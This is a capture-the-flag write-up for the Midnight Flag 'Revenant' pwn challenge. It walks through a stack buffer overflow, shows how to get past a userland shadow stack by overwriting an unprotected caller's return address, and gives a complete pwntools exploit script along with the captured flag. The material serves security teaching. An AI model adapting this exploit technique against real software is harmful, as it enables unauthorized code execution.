Writeup: Revenant - Midnight Flag CTF (Pwn)
Challenge Info
- Category: Pwn
- Service:
nc dyn-01.midnightflag.fr 11900 - Description: Something watches over you in this place. Every step, every decision — recorded, verified. It knows where you've been. It knows where you're going. It cannot be fooled. ...probably.
Files Provided
game— ELF 64-bit binary (no PIE, no stack canary)shadow_stack.c/shadow_stack.h— Userland shadow stack implementationgame.c— Game source code
Analysis
Binary Protections
No PIE (-no-pie -fno-pie)
No stack canary (-fno-stack-protector)
Full RELRO (-Wl,-z,relro,-z,now)
Source Code Overview
The binary is a text-based survival game with a userland shadow stack that records and verifies return addresses at function entry/exit:
void play(void) {
shadow_stack_push((uintptr_t)__builtin_return_address(0)); // save return addr
char buf[32];
// ... game logic ...
if (!shadow_stack_pop((uintptr_t)__builtin_return_address(0))) { // verify return addr
puts(" [!] Something is wrong with your memory...");
_exit(1);
}
}
The shadow stack array is mprotect'd to read-only when not in use, making direct overwrites impossible.
The Vulnerability
Option 1 ("Count the entities") has a classic buffer overflow:
char buf[32];
// ...
case 1:
printf(" How many entities do you hear? (0-255):\n");
read(0, buf, 128); // 128 bytes into 32-byte buffer = 96 bytes overflow
The Problem
Normally, overwriting play()'s return address would give us control of RIP. But the shadow stack check at function exit compares the current return address against the saved one — if they differ, the program calls _exit(1).
The Bypass
Option 4 ("Die and restart") calls do_reset(), which recursively calls play():
static void do_reset(void) {
puts("\n You died. The darkness takes you...\n");
nights = 0;
new_night();
play(); // recursive call — no shadow stack protection on do_reset!
}
Key insight: do_reset() itself has no shadow stack protection. Its return address sits on the stack right above the recursive play()'s frame.
Stack Layout During Recursive play()
┌─────────────────────────────┐
│ do_reset's return addr │ ← offset 72 from buf (0x4014ee → overwrite to win)
├─────────────────────────────┤
│ do_reset's saved RBP │ ← offset 64 from buf
├─────────────────────────────┤
│ play's return addr │ ← offset 56 from buf (0x4013b9 → KEEP INTACT)
├─────────────────────────────┤
│ play's saved RBP │ ← offset 48 from buf
├─────────────────────────────┤
│ local vars (n, padding) │
├─────────────────────────────┤
│ buf[32] │ ← overflow starts here
├─────────────────────────────┤
│ choice │ ← below buf, unreachable by overflow
└─────────────────────────────┘
Attack Plan
- Enter the game, choose option 4 to trigger
do_reset()→ recursiveplay() - In the recursive
play(), choose option 1 and send an overflow payload:- Keep
play()'s return address (0x4013b9) so the shadow stack check passes - Overwrite
do_reset()'s return address withwin()(0x4012d6)
- Keep
- Choose option 0 ("Flee") to exit the loop and trigger the return chain
play()returns todo_reset()→ shadow stack check passes ✓do_reset()returns towin()→ shell!
Exploit
from pwn import *
context.arch = 'amd64'
win = 0x4012d6
ret_to_do_reset = 0x4013b9
r = remote('dyn-01.midnightflag.fr', 11900)
# Enter name in outer play()
r.recvuntil(b'Survivor name:')
r.sendline(b'AAAA')
# Choose option 4 (die and restart) -> do_reset() -> recursive play()
r.recvuntil(b'> ')
r.sendline(b'4')
# Enter name in recursive play()
r.recvuntil(b'Survivor name:')
r.sendline(b'BBBB')
# Choose option 1 (count entities)
r.recvuntil(b'> ')
r.sendline(b'1')
# Send overflow payload
r.recvuntil(b'(0-255):')
payload = b'0' + b'\x00' * 47 # 48 bytes padding
payload += p64(0x41414141) # play's saved rbp (junk)
payload += p64(ret_to_do_reset) # play's return addr (unchanged, passes shadow stack)
payload += p64(0x42424242) # do_reset's saved rbp (junk)
payload += p64(win) # do_reset's return addr -> win!
r.send(payload)
# Exit loop to trigger return chain
r.recvuntil(b'> ')
r.sendline(b'0')
r.interactive()
Result
You found the light you were looking for. You are saved!
$ cat flag.txt
MCTF{Wh4t_w4s_th4t_1d3a_t0_Cr3ate_a_userl4nd_sh4dow_st4ck??}
Flag
MCTF{Wh4t_w4s_th4t_1d3a_t0_Cr3ate_a_userl4nd_sh4dow_st4ck??}